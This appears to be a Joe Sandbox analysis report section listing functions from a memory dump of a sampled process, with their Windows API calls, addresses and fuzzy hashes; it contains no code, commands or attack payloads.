Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Initialize__scrt_fastfail__scrt_initialize_default_local_stdio_options__scrt_initialize_onexit_tables_invalid_parameter_noinfo_onexit_set_fmode
String ID:
API String ID: 2117695475-0
Opcode ID: c6240938d00ce931eff62a9f8efb7c75b2bc90d30c2bcb96158b33b23c092f9e
Instruction ID: 853f03a817905264e26447255755dde7e9703936865b0bf6cb8489daffb3a7e6
Opcode Fuzzy Hash: c6240938d00ce931eff62a9f8efb7c75b2bc90d30c2bcb96158b33b23c092f9e
Instruction Fuzzy Hash: 33118D41E09A4746FA3877B8A8766FD12814F57F01F840439EB1DEA2CFED1CBC554622

Function 00007FF6B5B8B748 Relevance: 7.5, APIs: 5, Instructions: 43stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32 ref: 00007FF6B5B8B771
ProgIDFromCLSID.OLE32 ref: 00007FF6B5B8B790
lstrcmpiW.KERNEL32 ref: 00007FF6B5B8B7A2
CoTaskMemFree.OLE32 ref: 00007FF6B5B8B7B4
CLSIDFromString.OLE32 ref: 00007FF6B5B8B7C2

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: c2625648870bea748c00488204de808f07a4ef133cb019afb6ef5a542de6e20a
Instruction ID: 649f8f439b9410fd784d646228535ac5159eb6a6e1b31f552293ef7bbd028948
Opcode Fuzzy Hash: c2625648870bea748c00488204de808f07a4ef133cb019afb6ef5a542de6e20a
Instruction Fuzzy Hash: 8C11FE25608B4286E7548F2AA4603AA62A4FF86FC5F185035DF4DC765EDF2DD8458701

Function 00007FF6B5B92ED0 Relevance: 7.5, APIs: 5, Instructions: 37windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32 ref: 00007FF6B5B92EEC
GetWindowTextW.USER32 ref: 00007FF6B5B92F07
MessageBeep.USER32 ref: 00007FF6B5B92F1C
KillTimer.USER32 ref: 00007FF6B5B92F3F
EndDialog.USER32 ref: 00007FF6B5B92F5F

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: 8c0ba02d18c33329f7d04451d21e8c8e2fc8c024a9545b6606e830f761915d0e
Instruction ID: 5ba1fdd9d0f1873c7c2dfaca54c6ee874e93acd015856f66cb9df7aa3bc355d9
Opcode Fuzzy Hash: 8c0ba02d18c33329f7d04451d21e8c8e2fc8c024a9545b6606e830f761915d0e
Instruction Fuzzy Hash: CD116522A0894681EB659F28E4647B96360FF85F44F444031DB4D862DEDF7CDD89C700

Function 00007FF6B5B9D7F8 Relevance: 7.5, APIs: 5, Instructions: 36sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32 ref: 00007FF6B5B9D811
QueryPerformanceFrequency.KERNEL32 ref: 00007FF6B5B9D820
Sleep.KERNEL32 ref: 00007FF6B5B9D828
QueryPerformanceCounter.KERNEL32 ref: 00007FF6B5B9D833
Sleep.KERNEL32 ref: 00007FF6B5B9D86E

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: e93a488e7ef773f4239d39afdac6f2cad4444a29d3dd75f0fed3b9e62e675ca8
Instruction ID: 77c5d85a519a7e7625a8c27a8aa4b770e597f3eeaf4b9fc703c4cf3ef8abf1fa
Opcode Fuzzy Hash: e93a488e7ef773f4239d39afdac6f2cad4444a29d3dd75f0fed3b9e62e675ca8
Instruction Fuzzy Hash: A801B120A18A0246FB058B3AA4F44B99360AFA7F90B540235E30FD25EBDF2DECC48600

Function 00007FF6B5BA0008 Relevance: 7.5, APIs: 5, Instructions: 33synchronizationthreadCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,00007FF6B5B829AD,?,?,?,00007FF6B5B32AB2), ref: 00007FF6B5BA003C
TerminateThread.KERNEL32(?,?,?,00007FF6B5B829AD,?,?,?,00007FF6B5B32AB2), ref: 00007FF6B5BA0047
WaitForSingleObject.KERNEL32(?,?,?,00007FF6B5B829AD,?,?,?,00007FF6B5B32AB2), ref: 00007FF6B5BA0055
~SyncLockT.VCCORLIB ref: 00007FF6B5BA005E

Part of subcall function 00007FF6B5B9F7B8: CloseHandle.KERNEL32(?,?,?,00007FF6B5BA0063,?,?,?,00007FF6B5B829AD,?,?,?,00007FF6B5B32AB2), ref: 00007FF6B5B9F7C9

LeaveCriticalSection.KERNEL32(?,?,?,00007FF6B5B829AD,?,?,?,00007FF6B5B32AB2), ref: 00007FF6B5BA006A

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: CriticalSection$CloseEnterHandleLeaveLockObjectSingleSyncTerminateThreadWait
String ID:
API String ID: 3142591903-0
Opcode ID: ba6bd7e5b15845e6b6bdca5424b03e7aeaa25a678f545ea5128a0138939c9a9e
Instruction ID: ed17d64a6a11bbbcc13b72aadbf46336a74c20871d80d651784bea4f14aae8ea
Opcode Fuzzy Hash: ba6bd7e5b15845e6b6bdca5424b03e7aeaa25a678f545ea5128a0138939c9a9e
Instruction Fuzzy Hash: 7901083AA18B4586E7519F19E4502697370FB99F90F144035DB8E83BAADF3CD896C740

Function 00007FF6B5B51DA0 Relevance: 7.5, APIs: 5, Instructions: 31threadCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5B5B80C: GetLastError.KERNEL32 ref: 00007FF6B5B5B81B
Part of subcall function 00007FF6B5B5B80C: SetLastError.KERNEL32 ref: 00007FF6B5B5B885

ExitThread.KERNEL32 ref: 00007FF6B5B51DB8
ExitThread.KERNEL32 ref: 00007FF6B5B51DCD

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: ErrorExitLastThread
String ID:
API String ID: 1611280651-0
Opcode ID: 99fd53b48de60ad2b3b37300d72bcddb8f2580f530d7a1e219e10e2618182fab
Instruction ID: 0bc48dda8b988952981059376e5db98760fd5f9d1c72fef1fcd495e03a5a4df3
Opcode Fuzzy Hash: 99fd53b48de60ad2b3b37300d72bcddb8f2580f530d7a1e219e10e2618182fab
Instruction Fuzzy Hash: A7012C21B08A8292FA495B28E4B45BC2261FF42F75F605734C77E826DADF2CAC588300

Function 00007FF6B5B222E8 Relevance: 7.5, APIs: 5, Instructions: 31COMMON

Download Yara Rule

APIs

EndPath.GDI32 ref: 00007FF6B5B22304
StrokeAndFillPath.GDI32 ref: 00007FF6B5B2231C
SelectObject.GDI32 ref: 00007FF6B5B22331
DeleteObject.GDI32 ref: 00007FF6B5B22346
StrokePath.GDI32 ref: 00007FF6B5B22366

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: c45599d3bc9fc7debef7ab567c3c0eb4022d53e70f819905b21d88790cde579c
Instruction ID: cc358faefc423d84da143dac8612bc74c90a197bb68946204a7c0802585ad9a6
Opcode Fuzzy Hash: c45599d3bc9fc7debef7ab567c3c0eb4022d53e70f819905b21d88790cde579c
Instruction Fuzzy Hash: 9E01B522D0C54386F7955B19A9697B43B32BF06F90F184138D75DC52EACF7DAC448304

Function 00007FF6B5B9B5D4 Relevance: 7.5, APIs: 5, Instructions: 26threadCOMMON

Download Yara Rule

APIs

GetWindowThreadProcessId.USER32 ref: 00007FF6B5B9B5F0
GetCurrentThreadId.KERNEL32 ref: 00007FF6B5B9B5F8
GetWindowThreadProcessId.USER32 ref: 00007FF6B5B9B608
GetCurrentThreadId.KERNEL32 ref: 00007FF6B5B9B610
AttachThreadInput.USER32 ref: 00007FF6B5B9B61D

Part of subcall function 00007FF6B5B9CF30: SendMessageTimeoutW.USER32 ref: 00007FF6B5B9CF56

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Thread$CurrentProcessWindow$AttachInputMessageSendTimeout
String ID:
API String ID: 179993514-0
Opcode ID: e2ae8e70be2f5b84d83463abcc11da4b251e2e09d7ca6408d5f9779cbd984f2d
Instruction ID: 3b0fa496beca9007c5bf1575c693d49a54ca709fa6203d9b5efa09e2027654d2
Opcode Fuzzy Hash: e2ae8e70be2f5b84d83463abcc11da4b251e2e09d7ca6408d5f9779cbd984f2d
Instruction Fuzzy Hash: 6FF06D10F5D64643FB541BBE6868AF852527F5BF82F885030CB0AC22DBDD7DACE98640

Function 00007FF6B5B903F8 Relevance: 7.5, APIs: 5, Instructions: 26threadCOMMON

Download Yara Rule

APIs

GetWindowThreadProcessId.USER32 ref: 00007FF6B5B90414
GetCurrentThreadId.KERNEL32 ref: 00007FF6B5B9041C
GetWindowThreadProcessId.USER32 ref: 00007FF6B5B9042C
GetCurrentThreadId.KERNEL32 ref: 00007FF6B5B90434
AttachThreadInput.USER32(?,?,?,00007FF6B5B8E921), ref: 00007FF6B5B90441

Part of subcall function 00007FF6B5B907A4: SendMessageTimeoutW.USER32 ref: 00007FF6B5B907CA

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Thread$CurrentProcessWindow$AttachInputMessageSendTimeout
String ID:
API String ID: 179993514-0
Opcode ID: 3c9aaefa71688af513bcff76e9269722b622f20c654f000aa95846671475ad7f
Instruction ID: 926d47ed8c7351d5062919845aace0dcd2f5ac1bb00696c981c8ad07290ce987
Opcode Fuzzy Hash: 3c9aaefa71688af513bcff76e9269722b622f20c654f000aa95846671475ad7f
Instruction Fuzzy Hash: 51F03054F5960A82FF1517BE6C68AF413526F9AF42F845030CA0A823DBDD2D9CE94600

Function 00007FF6B5B60040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 205COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B5B602E4

Strings

UTF-16LEUNICODE, xrefs: 00007FF6B5B6028B
UTF-8, xrefs: 00007FF6B5B60268
ccs, xrefs: 00007FF6B5B60229

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: c3c6110ef47f8474b3aee38d103288009a94a732d54534d718fbbb8757739500
Instruction ID: cbcfbdb7ecf62767bed3fd81172e435a73d0dfaee4f379b18d18420eba248765
Opcode Fuzzy Hash: c3c6110ef47f8474b3aee38d103288009a94a732d54534d718fbbb8757739500
Instruction Fuzzy Hash: 8F814E72D0830A86FF664F1E95702B9A6A0AF13F44F644035EB0AD76CADE6DBD509601

Function 00007FF6B5B4B1E8 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 150COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B5B4B211
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B5B4B3EE

Strings

*, xrefs: 00007FF6B5B4B322
, xrefs: 00007FF6B5B4B377

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: $*
API String ID: 3215553584-3982473090
Opcode ID: e1993591883a1ee4d578272befcf29134d05160a5f94b748d186053ef0cddf2b
Instruction ID: 7e3912e3fdbc27bc79fc148782b82f8a3b57aaf9f77946f69fc13a6d6c57dcdc
Opcode Fuzzy Hash: e1993591883a1ee4d578272befcf29134d05160a5f94b748d186053ef0cddf2b
Instruction Fuzzy Hash: 11612F7290C2428AEF798E2D90653BC3BA1FB57F19F241135C74A8529FCF28EC41D601

Function 00007FF6B5B56148 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF6B5B56202

Strings

acos, xrefs: 00007FF6B5B56215
!, xrefs: 00007FF6B5B56237

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: _set_statfp
String ID: !$acos
API String ID: 1156100317-2870037509
Opcode ID: 0d89aa78777a41b63d954a76095aee346a1dbdd639e7adc8a9fc006d5894d638
Instruction ID: 6b2975ec22f6ff8d7f72ed99035b3dbd686824d039a9b5db81d062b35f817f4d
Opcode Fuzzy Hash: 0d89aa78777a41b63d954a76095aee346a1dbdd639e7adc8a9fc006d5894d638
Instruction Fuzzy Hash: E561CC21D28F4585E6238F3CA8312B69754BFA77D0F119336EB5EB59AADF1CA4438600

Function 00007FF6B5B56408 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 138COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF6B5B564BA

Strings

asin, xrefs: 00007FF6B5B564CD
!, xrefs: 00007FF6B5B564EF

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: _set_statfp
String ID: !$asin
API String ID: 1156100317-2188059690
Opcode ID: dda4458e7c1e859fb838f80da50bdd89987d805c8091ebd73b4f99c53429eb29
Instruction ID: 940147396cff170ebc4501033cb5e2eb986935d51b93e9f9fff3250ae032a325
Opcode Fuzzy Hash: dda4458e7c1e859fb838f80da50bdd89987d805c8091ebd73b4f99c53429eb29
Instruction Fuzzy Hash: 83618A21D28F8585E657CF3CA8323B69754AF977D0F108336EB5EB59AADF1CA4434600

Function 00007FF6B5B9A6BC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32 ref: 00007FF6B5B9A74D
DeleteMenu.USER32 ref: 00007FF6B5B9A799
DeleteMenu.USER32(?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF6B5B9A7E6

Strings

P, xrefs: 00007FF6B5B9A722

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Menu$Delete$InfoItem
String ID: P
API String ID: 135850232-3110715001
Opcode ID: 7a885196f2dcceb0a8221e88f5e4acf8149e86b4233e81131ef081c483961346
Instruction ID: 5ef83b5c6db93917bb33599fc217b300328b4d0c49384ae72f8e0717ea06e232
Opcode Fuzzy Hash: 7a885196f2dcceb0a8221e88f5e4acf8149e86b4233e81131ef081c483961346
Instruction Fuzzy Hash: B041D322A08A8186EB20DF19C4553ED6761EB96FA0F168231DB6D877DBDF3CD942C710

Function 00007FF6B5BCB454 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

SetWindowPos.USER32 ref: 00007FF6B5BCB556
GetWindowLongW.USER32 ref: 00007FF6B5BCB57B
SetWindowLongPtrW.USER32 ref: 00007FF6B5BCB58E

Strings

SysTreeView32, xrefs: 00007FF6B5BCB512

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: efcadc7bc094786019cbc8bf8bf3fbcf06e95b4321d3c984f5b6707381f7f713
Instruction ID: 8baa881be3b090448983ae5269f4168cf63452689e45f6e45c30e54c8d041ee8
Opcode Fuzzy Hash: efcadc7bc094786019cbc8bf8bf3fbcf06e95b4321d3c984f5b6707381f7f713
Instruction Fuzzy Hash: BC413A32A097D28AE7709B28A454B9A77A1F785B60F144335DBAC47AD9CF3CD885CF40

Function 00007FF6B5BCB798 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5B2932C: CreateWindowExW.USER32 ref: 00007FF6B5B293BC
Part of subcall function 00007FF6B5B2932C: GetStockObject.GDI32 ref: 00007FF6B5B293D9
Part of subcall function 00007FF6B5B2932C: SendMessageW.USER32 ref: 00007FF6B5B293EC

SendMessageW.USER32 ref: 00007FF6B5BCB8B1
SendMessageW.USER32 ref: 00007FF6B5BCB8C9
DestroyWindow.USER32 ref: 00007FF6B5BCB8D6

Strings

msctls_updown32, xrefs: 00007FF6B5BCB7E3

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyObjectStock
String ID: msctls_updown32
API String ID: 1752125012-2298589950
Opcode ID: 74e3ad92c2baccfb6081841c4f4ce29bd6f6c1edab28d3e774f2eecd82cc7261
Instruction ID: 90434197093f7c1b63cbb6d28f9db9b08b73adea45a052ab2f6c9bd654bffb92
Opcode Fuzzy Hash: 74e3ad92c2baccfb6081841c4f4ce29bd6f6c1edab28d3e774f2eecd82cc7261
Instruction Fuzzy Hash: 29317F36A18B8596EB60CB19E4507AA7361FB86F95F508136DB8D83B99CF3CD845CB00

Function 00007FF6B5BCA1F0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 79windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5B2932C: CreateWindowExW.USER32 ref: 00007FF6B5B293BC
Part of subcall function 00007FF6B5B2932C: GetStockObject.GDI32 ref: 00007FF6B5B293D9
Part of subcall function 00007FF6B5B2932C: SendMessageW.USER32 ref: 00007FF6B5B293EC

SendMessageW.USER32 ref: 00007FF6B5BCA2E4
SendMessageW.USER32 ref: 00007FF6B5BCA2F8
MoveWindow.USER32 ref: 00007FF6B5BCA328

Strings

Listbox, xrefs: 00007FF6B5BCA23D

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: MessageSend$Window$CreateMoveObjectStock
String ID: Listbox
API String ID: 3747482310-2633736733
